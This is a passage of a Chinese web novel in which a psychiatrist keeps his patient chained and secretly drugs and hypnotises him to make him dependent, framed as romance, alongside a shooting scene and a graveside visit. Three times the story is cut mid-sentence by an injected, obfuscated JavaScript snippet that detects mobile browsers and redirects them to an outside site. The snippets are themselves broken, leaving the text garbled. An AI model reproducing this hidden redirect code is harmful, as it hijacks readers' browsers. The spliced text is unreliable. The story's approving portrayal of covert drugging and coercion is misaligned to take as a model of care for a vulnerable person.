荀越和徐然其实对他和郁杉之间没有什么可参照性,他会规避一切让郁杉脱离他掌控的可能,他会解决掉郁寒这个麻烦。 产生情绪依赖性的药物会让郁杉对他成瘾,从心理和生理上都对他产生亲近感的郁杉绝不会对他抱有恨意,他怎样都不可能会让郁杉成为下一个徐然。 “叮——”电梯门开了。 齐蹊思绪回笼,他面色平静地往楚遂的病房走去。 楚遂的病房在拐角的第二间,房门是开着的,看到楚遂坐在床沿正对着窗户发呆的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238667|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,站在门口的齐蹊轻敲了敲门。 但楚遂没反应,直到听到齐蹊逐渐靠近的脚步声后才回过头。 柔软的光晕笼罩着楚遂的身影,他背着光冲齐蹊笑了下,像个活泼阳光的小孩:“齐医生,你来了。” 楚遂的情绪有些反常地乖顺,他头上戴着一对乖巧可爱的粉色猫耳发夹,一看就像是被哪个护士姐姐“特殊关爱”了。 齐蹊面上没有异样,他伸手揉着楚遂的头,轻声问:“昨天是怎么回事?” “没什么的。”楚遂低垂下头,看了眼手腕上缠着的白色纱布。 齐蹊捕捉到楚遂细微的情绪变化,追问:“小遂,你一向惧畏楚邃,能告诉我为什么这次会贸然地挑衅他吗?” 半晌的沉默,齐蹊没有催促,只是眼神一直带着温和的询问。 楚遂在收拾好情绪后缓缓地说:“就是突然想逼一逼自己……之前总感觉,这样软弱废物的我好像永远压不过楚邃。” 齐蹊眉头轻蹙,语气有些重:“所以?你就想自我放弃,彻底释放楚邃这个怪物出来吗?” “我倒是想放弃。”楚遂仰头看着齐蹊,带着些笑说,“楚邃虽然不是为了保护主人格而诞生的附属人格,但他不会容许我轻易死去,不会让我就这么解脱。” “我本意不为求死,我只是不想永远这么软弱地活着,而这世上只有楚邃一个人能把我逼入彻底的绝境。” 齐蹊微怔,抬手在楚遂额头上轻敲了下,语气倒没了刚才的苛责:“所以是自己找虐?那为什么问我要封闭情绪感知的药物?” 长期被楚邃虐待的楚遂下意识缩了下身子,齐蹊动作微微僵住。 意识到自己一瞬间的条件反射会让齐蹊过度担心,楚遂补救地捂住脑袋做出一个猫猫抱头的可爱姿势。 楚遂仰了仰头,用尽可能平常的语气小声说:“楚邃太凶了,不借助药物我根本干不过啊,而且他发起疯来真得太疼了。” 齐蹊心软成了一滩,他摸了摸楚遂头上的猫耳发夹,转移开了这个话题:“今天是有遇到什么有趣的事么,你看着心情不错。” “这个吗?”楚遂指了指头上的猫耳,“我凌晨坐在楼道里恐慌心悸地发着呆时,一个路过的大姐姐非要给我戴这个。她给我拿糖吃,给我唱歌讲故事,陪我说了很多话,就算我一个字也没能回给她,她也一直笑着说了很久很久。” “我记住了她的名字,她叫姜悦,她简直像她的名字一样快乐,她还说,要把她的快乐分给我一半。” “她给我戴上猫耳发耳时的目光就和我遇到了一幅完美的画作时一模一样,亮晶晶的,我根本拒绝不了。” “她叫我多笑笑,她说我好乖,说我像净澈的宝石,笑起来也一定像发光的璀璨宝石一样晃人眼睛。” 齐蹊看到了楚遂眼中不自觉亮起的光华,他原先觉得楚遂情绪反常的那颗心稍稍放松了些。 楚遂纵使在他面前,也很少不用引导就一口气讲这么多话。 他凌晨接到楚遂的电话时还担心楚遂的自闭症会不会加重,电话里的楚遂情绪平静压抑得如同一汪死水,像是整个人都在黑暗深渊的边缘徘徊。 还好,那个时候有人拉了他一把。 姜悦的确是个性格不错的小姑娘,这样治愈向阳的人像是生来就是给人带来温暖的。 齐蹊轻笑着说:“这么巧,那个姜悦小姐姐和614病房的一个小哥哥是一起的,那个小哥哥也是我的病人,他还会变魔术呢,你有空可以多窜门去找他们玩儿。” 楚遂眼睛眨呀眨,稚嫩精致的脸上目光干净而纯澈,他此刻身上看不出一丝阴霾的痕迹,像是一个真的单纯好哄的小少年。 顿了片刻,楚遂小声而迟疑地开口:“齐医生,你现在的样子很像在哄小孩子。” 齐蹊把被他揉头弄歪了的猫耳发夹重新夹正,眼中笑意不减:“你不就是小孩子吗?” 19. 情感依赖症 齐蹊给楚遂补了场催眠治疗,然后开了些缓解神经疼痛的镇定药物后就离开了市医院。 他买了早点,然后掐着郁杉早上生物钟的点儿回了别墅。 打开卧室门的齐蹊果不其然看到郁杉已经醒过来了,他几乎能一眼分别出郁杉和郁寒。 听到开门声侧过头来的郁杉与齐蹊目光相对了一瞬,他轻轻挣动了下四肢紧缚的锁链,表达着自己此刻的不适。 瞧着那张清冷绝艷的脸微微皱着掩下的隐忍脆弱,齐蹊呼吸微不可觉地一窒,他缓步走到床边,将锁链的长度放宽了些。 四肢的禁锢松开了些后,郁杉一只手支着身子坐了起来,一只手去扯嘴上口枷的链子。 齐蹊制住了郁杉粗暴的举动,他动作温柔地解下郁杉戴着的口枷,指腹抚过郁杉脸上徒添艳糜的红色勒痕,安抚着说:“委屈你了,凌晨时醒过来的郁寒折腾得太厉害,我不得不采取了些强制措施。” 郁杉被口枷强撑开半宿都没能阖上的上下颌此刻发酸得厉害,他缓了好一会儿,才勉强开口说:“……没事。” 但凌晨郁寒醒来发生的事他竟然一概不知,他的意识明明没有被郁寒压制,更没有被封困在精神世界里。 应该是齐蹊做了什么,郁寒好像突然间和他完全隔绝开了,他就连在精神世界叫郁寒的名字也无人回应。 不过……这样也算好事,至少郁寒没办法再在精神世界里折腾他。 郁杉觉得积压在心头的巨石被挪去了一半,他看向给他揉着手腕的齐蹊,问了一句:“这是哪里?我们……为什么不回公寓?” 昨日他醒来时状态不好,很多疑惑还没来得及问出口就又昏昏沉沉地醒了过去。 齐蹊把尚还温热的粥拿了过来,一边喂给郁杉一边解释:“这套房子是我爸妈很久以前给我买来准备娶媳妇儿用的,前两年才过户给我,周边楼盘没有一家在寰宇集团名下,可以避免宗寰他们发现找过来。” 这喂粥的动作太过亲昵了,郁杉短暂地迟疑了一下,才在齐蹊过于温柔的目光中低下头,小口地抿着粥。 他喉咙有些发痒,郁杉难受地侧过头咳嗽了好几声,咳到眼角滟红。 齐蹊轻轻拍着郁杉的背给他顺气,看着郁杉湿润泛红的眼尾,目光幽暗了几分:“慢点喝……阿杉这两天在外面受罪了。” 事实上现在也在受罪,郁杉看着手腕上新的银色锁链,心理不适地皱了皱眉。 这链子拴着郁寒也拴着他,郁杉心中有些郁结,只要郁寒一出现,他的日子就难以享受半分的安宁。 齐蹊顺着郁杉的目光望了过去,他相当善解人意地开口询问:“要不要先帮你解开?” “嗯。”郁杉低应了一声,“不放心郁寒的话,等我睡着之后再锁上吧。” 正常人被锁链束缚都会产生压抑、焦躁的不安情绪,郁杉先前遭受过的黑暗囚禁所造成的心理阴影更加放大了这种情绪。 齐蹊不动声色地观察着郁杉的微表情,他指尖搭上特殊金属锁扣,动作轻柔地解开郁杉手上的锁铐。 其实郁杉就算不用链子锁着也离开不了这个房间,齐蹊当着郁杉面亲手解开这几道锁链只是为了能深化他在郁杉心中的救赎形象。 被解开的锁链散落在床上,齐蹊听到郁杉很轻地抒了口气。 齐蹊目光闪烁,神色故作凝重地说:“别有心理压力,阿杉,我不会伤害你的,我会尽量不在你清醒时让你产生被束缚的压抑感,别去回忆前两天的事好吗?” 郁杉对上了齐蹊那双心疼几乎快溢出来的眼睛——冰凉的心脏中像是有什么温热酸涩的情绪破土而出。 他好像,有些想倾诉所遭受的委屈。 一向情绪寡淡的郁杉被自己心中的反应弄愣住了,片刻后,他冲齐蹊笑了笑:“我没事的,让你担心了。” 郁杉伸手想去捧齐蹊放下的粥,齐蹊却没把粥碗给他,他还是一勺一勺地舀起粥来喂给郁杉,动作温柔而强势。 郁杉还是觉得这举动有些怪异,但他并不抵触齐蹊的亲昵,渐渐地,一碗粥见了底。 一连两三天没怎么吃东西,突然的进食让郁杉胃部有些不适,最后几口实在是吃不下了,他皱着眉捂了捂肚子。 齐蹊伸出手覆上郁杉捂住腹部的手,冰凉的手指感受到了齐蹊的温度,被温柔包裹地郁杉身子有些僵硬,但很快在齐蹊技巧极好地揉按下放松下来。 “还难受吗?”齐蹊看着郁杉此刻敞开柔软的肚皮任他揉捏的模样,有种极强的满足感。 郁杉摇了摇头:“好多了。” 齐蹊起身去倒了杯水过来,他手心握着一大把大大小小的白色药片,齐蹊将水递给郁杉:“把药吃了吧,我没配安眠药,你这两天睡得够久了。” 郁杉接过水杯,也不过问那都是些治什么的药物,便一口气混着水全吞咽了下去。 进入咽喉的药物苦涩得让人想反呕,郁杉拧着眉捂了下尖锐刺痛的头——刚刚那一瞬间他生出郁寒要冲出来扼住他脖子将他生生掐死得错觉。 郁寒……还真是阴魂不散。 “怎么了,头疼?”齐蹊轻轻握住郁杉捂头的那只手,语气关切地问。 “没事。”郁杉摇了摇头,努力摒开精神上的不适,但下一瞬,他错愕地被齐蹊搂进了怀里。 那是一个,让人极为安定的温暖拥抱。 “不用逞强,我在这里。”齐蹊的声音揉满温柔的爱意。 郁杉微怔,心中的冰原燃起微弱的星火,他犹豫着,伸手回抱住了齐蹊。 一瞬间大脑神经末梢叫嚣的尖锐痛感逐渐平歇下来,郁杉目光低敛,看着自己环在齐蹊背部的手陷入沉思,他心中方才滋生的那点依赖感被齐蹊的拥抱安抚住。 但却如饮鸩止渴,他像是上瘾一般,还想要齐蹊更多些的亲近。 ……他的情绪,好像不太正常。 郁杉拧着的眉没有松开,他从齐蹊的拥抱中脱离出来,神色疑惑地说:“齐蹊,我心里好像生病了。” “嗯?”齐蹊目光落在郁杉身上,安静地等他接下来的话。 “大概是先前被囚禁羞辱的后遗症,我不安的内心下意识把你当成可以依赖的救赎,昨天还稍好些,现在……你越是亲近我我越是想要你更多的触碰。”郁杉语气冷淡而苦恼地说着让人误会的话。 “阿杉,你这些话是想表达,你好像喜欢上我了?”齐蹊温柔的眉眼带着敛不住的笑意。 “可是,应该不是正常情绪下产生的喜欢,这有些过于畸形了。”纵然心中萌生依赖的爱意,郁杉也依旧能对那部分情绪做出冷静地分析。 “是不是有种专门形容我这种情况的心理病症,叫情感依赖症?”郁杉叹了口气,直直地对上齐蹊的眼睛。 心里明白是怎么回事的齐蹊面上只安抚地说:“没到那种程度,你只是有些缺乏安全感,不是病理性的瘾症。” “快了,我快对你成瘾了,我自己的情况我自已明白。”郁杉有些难受地干咳了两声,他朝床头的软垫靠了靠,目光却没从齐蹊身上挪开,“渴望抚摸、拥抱之后是什么呢?渴望亲吻、甚至做.爱?” 齐蹊呼吸微窒,目光中被温柔隐下的晦涩欲望翻涌着。 “齐蹊,你耳朵红了。”郁杉顿了顿,倏地笑出声来,他心中隐隐有猜测,“你在我意识不太清醒时,对我做过催眠?” 齐蹊目光闪烁……被察觉到了,但郁杉的反应不像在生气,他瞬息千转的思绪正寻思着该怎么给出有利的解释。 “说实话吧,不必骗我。”郁杉的声音逐渐冷了下来,“我确实不抵触喜欢你,确实足够的信赖你,但如果没有药物催化和催眠辅助的话,我不可能对你产生这么强烈的渴求情绪。” “我的错,我不该在没有征得你允许的情况下擅自给你下心理暗示。”齐蹊一顿,直接承认了这件事。 错开与郁杉对视的目光,齐蹊拿起散在床上的链子,他并不遮掩地将掌骨一点点合拢握紧,眼中对郁杉的欲望,昭然若揭。 致歉的话配上齐蹊此刻的动作显得格外不走心,齐蹊摘下了温柔的假面,他紧紧盯着郁杉,若是郁杉对他表露出一点点的厌恶,他不确定他会不会做出什么失控的事来。 “如果我说我生气了,你打算做什么?用链子把我一直锁起来?”郁杉面无表情地看着齐蹊攥住锁链的动作,“就像郁寒招惹的那个叫宗寰的疯子一样?” 下一瞬,冰凉的金属锁铐重新扣在了郁杉的手腕上,齐蹊拉过郁杉的手贴在自己脸上,他又重新笑了起来:“阿杉生气了的话,就打我泄气吧,我确实如你如见的变态。” “阿杉,你不该点破的,如果装作不知道,你会少受很多苦。”齐蹊此刻温柔的笑容让人无端生寒,“强制深层催眠和洗脑对我来说不是难事,但我本来不想那样对你。” 那掩在温柔笑意下的,是淬毒的欲望钩镰,带着致命的让人沉溺的瘾毒。 但郁杉眼中没有畏惧,他看着齐蹊这副他从未见过的陌生模样,顿了顿,语气平静地说:“我没生气。” “阿杉,现在说这句话,有些晚了。”齐蹊俯身将郁杉紧紧抵在床头,他目光扫过郁杉诱人的唇,回忆起了前夜那个意外的吻。 “齐蹊,我在等你的解释。”郁杉与齐蹊贴得极近,他手指微微屈紧,压抑着心中滋生的渴望。 齐蹊不回话,只低头咬上了郁杉的唇,那确实算不上一个合格的吻,他只是克制又疯狂地啃舐着郁杉柔软的唇瓣,直到咬破出腥甜的血珠来。 郁杉想要推开齐蹊,但齐蹊将他死死抵住,挣脱不得。 精神依赖的焦渴情绪被填满安抚,郁杉身子随着齐蹊的亲吻不可控地瘫软下来,他冰凉的指尖嵌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐蹊胸膛微微起伏,他像是被郁杉这副拿捏他的模样惹毛了,他猛得拽住锁链缠捆在郁杉双腕上,将郁杉双手拉过头顶抵在床头。 齐蹊盯着郁杉的眼睛,气息不稳却语气坚定地重复了一遍:“我做的到。” 郁杉吃痛地皱了皱眉,刚刚那一下让他肩背撞在了床头软垫上方的床柱上,疼痛之余,齐蹊的话不由得让他心头一颤。 齐蹊言语和肢体动作做出的心理暗示确实给郁杉带来了很强的压迫感。 “阿杉,你别逼我。”齐蹊的眼中闪过一抹难过,“你信不信我现在就强了你。” 郁杉张了张嘴,半晌后吐出一个字:“信。” 齐蹊看着郁杉的眼中似乎酝酿着一场黑暗欲念的狂烈风暴,他攥住郁杉双腕上锁链的力道加重,郁杉被紧缚的双腕连最后一丝挣动的缝隙都被剥夺。 但郁杉从头到尾都没有挣扎,他只是仰了仰头,颇有些难受地说:“齐蹊,你弄疼我了。” 齐蹊一顿,松开了手,他解开缠缚住郁杉双腕的链子,揉了揉郁杉手臂上新添的几道勒痕。 他低敛着的目光落在郁杉腕部的金属锁铐上:“抱歉,我一会弄点儿棉布来垫上就不冰也不硌手了。” “真不打算解开了?”郁杉轻晃了晃手上的锁链,笑着说。 齐蹊沉默了一瞬:“你是情感剥离造成的人格残缺分裂,对我产生的依赖症可以帮你找回一部分遗失的情感,比如你对我……是不是有了些新奇的情绪感知。” “嗯?”郁杉对话题的转变表示疑惑。 “你要的解释。”齐蹊的语气重新温和下来,像是有意求和。 “嗯。”郁杉应了下来,顺便再笑着解释了一遍,“我真没生气。” 齐蹊看着郁杉面上的笑,接着说:“如果你对我的逾越都感觉不到生气,只能说明你的情感剥离更严重了,这不是什么好事。” 郁杉伸手拉住要起身的齐蹊:“不是感觉不到生气,是不生气,齐蹊,我并不讨厌喜欢你的感觉,也不排斥和你亲近。” 齐蹊目光静默地垂落在郁杉主动拉住他的那只手上,他……分不清郁杉这话是不是受催眠和暗示的影响。 他没考虑过郁杉这种情感严重缺失的人会真的接受他,他知道自己催眠和心理暗示的能力有多强大,他现在所享受的信任、亲近、依恋都不过是他窃取来的。 他有时候会极端厌弃这样不择手段的自己,好像弄脏了“爱”的净澈纯洁。 可能怎么办呢,他的爱人情感残缺,他不用催眠暗示将郁杉冷漠如冰的心绑缚在他身上,郁杉永远不可能主动爱上他。 齐蹊突然有一种难言的悲哀。 他好卑劣啊,可他有什么过错呢,他只是想拥有他的爱人。 20. 烈阳金葵 昏睡了近三十个小时的宗寰是在惊厥中醒来的。 齐蹊的那句——“你带不走他的,交给我吧”形如刻进灵魂的魇梦,宗寰猛得睁开眼,头疼得快要炸裂开。 “郁寒……”惊醒的宗寰大口地喘着气,闪烁的目光压抑至极。 眼前是完全陌生的房间,宗寰捂着腹部重新结痂的伤口,勉强支着身体坐了起来,他缓了缓神,向窗外看去。 窗外有一个巨大的喷泉,石砖路两侧的花坛里种着重瓣紫罗兰,宗寰皱了皱眉,看样子他应该还在石泽毅的庄园里。 掀开薄被下床,站起身的宗寰一眼看到了放在床头的新手机,他面色阴沉地想起前夜那场让他心绞如刀割的闹剧。 他宗寰,从来从来没有这么狼狈过,从来没有栽过这么大的跟头。 宗寰揉了揉眉心,将手机拿起,助理前天给他送新手机时把旧的号卡插了进去,此刻打开手机后满屏都是未接电话和未读短信。 此时又一个电话打了进来,宗寰扫了眼备注,想挂掉却反倒不小心蹭到了接听键。 之后便是一声震耳欲聋的怒斥:“你小子他妈的赶紧给老子滚回来!” 宗寰皱着眉拉远手机,火速挂掉电话。 房间门刚好在这时被人推开,石泽毅见宗寰冷脸看着他,忍着笑,客气地叩了叩房门:“被宗叔叔吼了?” “你又去告黑状了?”宗寰撂下手机,气势阴沉地朝石泽毅走过去。 “怎么能叫告黑状,我可只是在宗叔叔问起你时实话实说了几句。”石泽毅挑了挑眉,淡定地接住宗寰迎面挥过来的拳头。 宗寰一把拽住石泽毅的衣领,直直对上那双幽邃如深渊的黑色眼睛,宗寰压着怒气咬牙切齿地说:“一口一个宗叔叔叫得可真亲切,你搁这儿跟谁攀亲戚呢。” “石泽毅,我一直知道你没什么道德底线,但从兄弟床上抢人,你可真够畜生的。” 石泽毅看着宗寰,眼中带着称得上冷漠的戏谑笑意。 那样的目光,只让宗寰觉得凉薄讽刺至极。宗寰猛得拽着石泽毅的领子将人摔按在地上,他骑坐在石泽毅身上用腿钳制住石泽毅的双臂,抬手对着石泽毅的脸狠狠揍了下去。 石泽毅迅速侧过头,但左脸还是结结实实地挨了一拳,便是如此,石泽毅眼中也还是溢着让人生愠的浅笑,就像宗寰此刻中烧的怒火只是无能的小打小闹。 他像是把所有人当玩物,当乐子。 “石、泽、毅。”宗寰哽着一口气,一字一顿地说,“我们之间完了。” 石泽毅微顿,那眼中玩味的笑意突然变得毫无温度:“怎么?你要像荀越一样,就因为一个上不了台面的情人和我闹绝交?” “石泽毅啊……你把我当什么呢?”宗寰的怒音有些发哑,讽刺地问,“我真是你兄弟吗?” 石泽毅目光闪烁了一瞬,趁着宗寰短暂失防的这间隙,他被压住的手迅速摸到带在身上的手.枪,枪口在手中翻转,冰冷的枪口抵上了宗寰压着他的大腿。 宗寰难以言喻的心凉,他嗤笑了一声:“你敢开枪吗?” 他根本就无视那随时可以让他丧命的威胁,宗寰紧揪着石泽毅的领子将人半提起,捏着拳头就继续揍了下去。 石泽毅被揍得嘴角溢出鲜血,他眸光一沉,毫无犹豫地扣下手.枪的扳机。 “呯——” 尖锐的灼刺感和枪响声是同时传进大脑神经末梢的,宗寰一瞬间疼到瞳孔剧烈收缩,但他揪着石泽毅领子的手没松开,反倒按着石泽毅地头用力磕在地上。 石泽毅抿了抿唇,一声未吭,鲜血浸湿了他额间的黑发,缓缓流在地上,他因大脑被重击的晕眩感短暂地失神了一瞬。 但不过片刻,石泽毅腰身突然发力,翻身挣脱了宗寰的压制。 听到枪声的程絮迅速赶到房间时,只看到宗寰被反剪双手摁跪在地上,石泽毅用黑色手.枪抵着宗寰高仰的脖子,两人眼中都蕴着灼烈的怒火。 半天没有等到石泽毅指示的程絮站在门口处不知所措,房间里的两人僵持着无声地对峙了许久,交错相撞的目光灼怒地都能飘出火星子来。 鲜血顺着石泽毅磕破的额角流到脸上,有几滴浸进了眼中,浓稠的血色让石泽毅整个人的气质变得冷漠而疯狂。 他将枪口下压,刚开过火还带着余温的械口狠狠碾过宗寰的喉节,留下艳红的枪吻痕迹。 “石少。”程絮出声叫住了石泽毅,想让他冷静些。 石泽毅微顿,避开宗寰那双恨不得把他活剐了的眼睛,他侧头扫了眼程絮,冷声命令道:“皮带解下来。” 程絮微愣了一下,沉默着依言照做。 “把他捆上。”石泽毅收了枪,他紧捏着宗寰的双腕拉起,另一只手将宗寰原先高傲仰起的头摁在地下。 宗寰额头抵着冰凉的地面,没有一丝可以挣动地机会,他咬着后槽牙怒道:“石泽毅,你对我动手是真的想和宗家交恶?” 捆好宗寰的程絮看了眼宗寰正沽沽冒血的大腿伤势,皱了下眉,宗寰在石家受枪伤确实很难和宗家交代。 “我把你和郁寒那两天的视频监控录像全发给了宗叔叔,他知道你在外面胡闹,叫我把你绑也要绑回宗家。”石泽毅面色平静地朝自己左肩开了一枪,“暴力制服的过程中落点伤再正常不过。” 空气在震耳的枪声后寂静了一瞬。 宗寰听到石泽毅声音低沉冷漠地说:“这一枪还给你了。” …… A市北区,安山烈士陵园。 山脚的安山大教堂远远传来赞礼诗的吟唱声,空灵悠远,与英魂同歌。 灿阳高悬,陵园上空有鸽群盘旋,两只白鸽栖落于陵园的一块墓碑上,低着颈脖,似乎想要亲吻碑石上的血色朱砂。 一个修长劲挺的身影缓步走至墓碑前,轻放下一捧白菊金葵的鲜花束,他俯下身的影子正正笼住白鸽。 “——!”被惊扰的白鸽猛得扑闪翅膀,却在一阵旋飞后又落停在来人的肩膀上。 羌彧轻笑了下,勾起的指节蹭过白鸽的颈羽:“谢谢你们常来陵园陪伴英雄。” 另一只白鸽跳落到那捧花束前,侧了侧脑袋,衔起一枝向日葵后飞向远处。 “老师……”羌彧目光垂落在眼前的墓碑上,他单膝跪了下来,伸手抚上碑石朱红的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238669|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛白的指节有些发颤,迎着灿阳的笑颜却明灿英飒,“我回来了。” 在菲圣德堡意外卧底赤隼会的这一年半里,他受了很多苦。 与刀枪棍影为伴,在囚虐凌辱中求生,不知道多少次快撑不下去。直到两天前赤隼会在A市的海上走私毒链被通州省布防边境的警力联合捣断,他才得以击溃噩魇。 是在重新踏上国土的那一刻,羌彧才觉得自己还真实活着。 苦楚无从言述,羌彧眼眶微湿,挑着记忆里不那么灰蒙的事情语速缓慢地在墓碑前讲起来,就像从前萧洌给他们讲故事那样。 “——格尔兰有一座特别华美的教堂,它有半个城区那么大,如果不是白鸢帮的暴徒在那边绑架了枢机主教家的幺子,我第一次去的时候会以为自己进了天堂。” “——欧菲特三角洲的海景跟我们这边不大一样,海上总是有雾霾,灰蒙蒙的,涛浪很汹,那边出海会有些艰辛。” “——我没去到欧利时,但菲圣德堡和特洛普湾的建筑都很有中欧那种奢靡贵气的味道,走在街上,像是空气里都飘着金子,虽然事实上是飘着金壳的枪子儿。” 白鸽旋飞而回,栖在碑上,像一个安静的倾听者,让羌彧的身影显得不那么悲伤和孤独。 “……我遇到了一个很爱我的人,不过初遇的场景很糟糕,他说他是一见钟情,但我一直觉得是因为性。”羌彧目光垂敛,“他是赤隼会的高层,我利用了他,还亲手杀了他。” “倒是没什么愧疚心,只是认识到了自己的手段卑劣。” 羌彧语气有些犹豫和迷茫:“老师,我的道德底线好像在放低,我担心自己会不会逐渐变得和那些罪犯一样糟糕。” 身后有脚步声渐近。 “不会的。”身后少年的声音斩钉截铁,他手里还捧着诗歌本,身上的教会礼袍也还没换,“羌彧是我见过最好的人,你只是长时间处在那样黑暗混乱的环境里产生了一点点的创伤心理障碍,这并不能改变你正义良善的本质。” 羌彧笑了笑:“星眠,不要因为我救了你,就这样给我发好人卡。” “有时候,英雄和屠夫只有一念之隔。” “那我会看着你的。”苏星眠在羌彧旁边蹲了下来,“我必不会使我的救赎者步入深渊。” 羌彧在那双紫蓝色宛如星辰的眼睛里看到了认真,他微怔着,调笑般故作忧愁道:“忘了,现在还养了个小拖油瓶,我出事了可能就是一失两命。” 苏星眠纤长的睫羽垂敛,将怀里的赞美诗歌抱得更紧了些:“愿神怜悯,使我的英雄脱离困扰,生命的恩膏与福杯满溢。” 羌彧抬手轻拍了拍苏星眠的头,他目光转向墓碑,给他老师介绍:“这是我在任务最后一次行动中碰巧捡的小孩,格尔兰皇家艺术学院声乐系高材生……因为他是外籍而且情况很特殊,领养手续有些复杂,但还在尽力办,我找人托了关系。” 羌彧话微顿,笑容真切而认真:“老师,我以后就不是孤身一人了。” “我这算是,见过家长的家长了吗?”苏星眠看向那束白菊金葵,思索道,“空手是不是不太合华国的礼仪?” 21. 恨意绵长 先前那一只叼走向日葵的白鸽突然带着鸽群中的另一只灰鸽又飞了回来,它俩栖停在墓碑之上和原先那只白鸽肩并肩,灰鸽却不安分地一点点往碑沿边缘蹭,挤着挤着将另一只鸽子挤掉下去。 “诶?”苏星眠下意识就想伸手去接。 白鸽扑扇着翅膀,蹬上苏星眠双手捧状的手掌借力飞起来,掀起一阵微小的风卷。 那风吹动花束中白菊蜷边的细长花瓣,花瓣舒展开,清洌的花香飘入鼻尖。 羌彧道:“看样子老师很喜欢你。” “为什么这么说?”苏星眠微微偏过头,恰有轻风吹动他额前的碎发,他瞳中眏着认真的困惑。 羌彧伸出手虚握了把身周萦绕的风,他目光落在墓碑上:“你看……老师在和你打招呼,在揉你的头。” 比起羌彧那种单纯缅怀悼念的心思,苏星眠作为有神论者却是坚定相信世有亡灵一说的,所以他明显一僵,缩着身子干巴巴道:“萧爷爷好。” 羌彧忍不住想逗小孩:“如果按照华国的礼仪阵势,你这种迁进家谱的外来子都是要给家里长辈跪下磕三个响头的。” 磕头……苏星眠犯了难,他的信仰是不允许对神明以外者行跪礼更不能祭拜亡魂的。 但是,但是…… 羌彧一眼看出他的挣扎,止了玩笑,站起身将苏星眠也拎了起来:“好了,逗你的。” 苏星眠紧抿着唇,眼神有虔敬之意,最后后退一步深深朝墓碑鞠了个躬。 羌彧一顿,看向苏星眠的目光中漾开一片柔软,他伸手将苏星眠往怀里一捞,猛揉着苏星眠的脑袋,无奈至极地笑着:“你真的是……太可爱了啊。” 羌彧身上的悲郁气息扫空大半,他夸耀似地冲着墓碑道:“老师,我家这小孩还不赖吧?他给你行的礼可是他所受的教育里的最高仪式了,受了这一礼,你在天上可要好好保佑他平安顺遂呀。” 吹拂过的风温柔至极,像是回应。 苏星眠也伸出手,学着羌彧那般抓住指隙间的风,更正地强调道:“请您保佑我们都平安顺遂。” 羌彧失笑,伸手去牵住苏星眠那只顿留在身前的小手,紧紧握住,就像牵住了将他套牢留在这世间见证另一面美好的风筝线。 这个小孩,是他远离噩魇的缰绳。 苏星眠抬眼看向羌彧,目光澄澈。 他总是那么真诚,真诚到并不理解,为什么无意间的话无意间的举动都能让身周的人那么动容。 “别用这种眼神看我,太犯规了。”羌彧深吸一口气,“让人想为你舍生忘死。” 苏星眠眨了眨漂亮的眼睛,像是撒娇,语气却又格外认真:“我想保护你,我来为你舍生忘死,所以我能去报考警校吗?” 这是苏星眠第二次跟他提这件事了,羌彧眼皮跳了又跳,脑袋转了两圈还没转出来委婉一点的拒绝的话。 苏星眠却改变策略,向着墓碑问:“萧爷爷,我可以吗?” “你个小外国佬,哪家警校要你?”羌彧拍了拍苏星眠的脑袋,这一次明言拒绝,“别想了,就算户籍迁过来,你政审也过不了的。” 苏星眠头耷拉了下来。 “别沮丧啊,带你去训练场玩枪怎么样?”羌彧安抚着说。 苏星眠捧着怀里的诗歌本摇了摇头。 两人向陵园外走,烈阳下,羌彧背对着那座逐渐变小的墓碑,身形潇洒地挥了挥手,语气全然卸下了来时的沉重:“老师,走了。” …… 太阳又向上攀了两分,齐蹊去了楼下厨房准备今天的午饭,只留郁杉一个人在卧室。他像是回避着,刻意给他们彼此留下冷静的时间。 郁杉靠坐在床头,轻轻扯着银链,锁链声窸窸窣窣,只要轻微动弹便会发出细小的异响,像敲在心脏缺口处的锥凿声。 郁杉低下头,看着手腕上的银铐发呆,他思索着反复确认着自己对齐蹊的想法。 但他没能得到答案。 这是他第一次那么明确的意识到自己的残缺。 淡漠的、空茫的,像副虚壳。 所以他只是觉得,齐蹊用些手段填补给他的那些情绪也挺好的,他的灵魂会因此而变得鲜活。 思绪不可控制地飘远,郁杉在没有影响干扰的情况下却自动想起了永远能让他情绪染色的郁寒。 他们有太多纠缠不清的过往,一点一滴在记忆中回溯—— 他第一次知道郁寒,并不是在16岁时那场父母双亡的车祸。 好像早在他幼时初步形成自我认知时,他脑子里就一直有一道不同的声音,喜欢和他唱反调,捉弄他,教唆他去做奇怪的事。 尤其是在他呆在齐蹊身边时。 他从来置之不理,只当那是一道不值得在意的心音罢了。 但他5岁生日那天,在他接过齐蹊妈妈送给他的黑森林丝绒蛋糕时,脑子里的声音却操纵着他不仅打翻了那个漂亮小蛋糕,还对着齐蹊妈妈说了很尖锐刻薄的话。 他整个人突然变得陌生,轻浮倨傲,没有教养和礼仪,像一个有超雄基因的天生坏种,不识抬举,浪费辜负别人的善意。 然后当晚他就被爸妈一顿暴揍。 他知道郁家往上翻曾经有过很长一段遗传性的精神病史,但到他父亲那代已经连续两代没有发过病了。 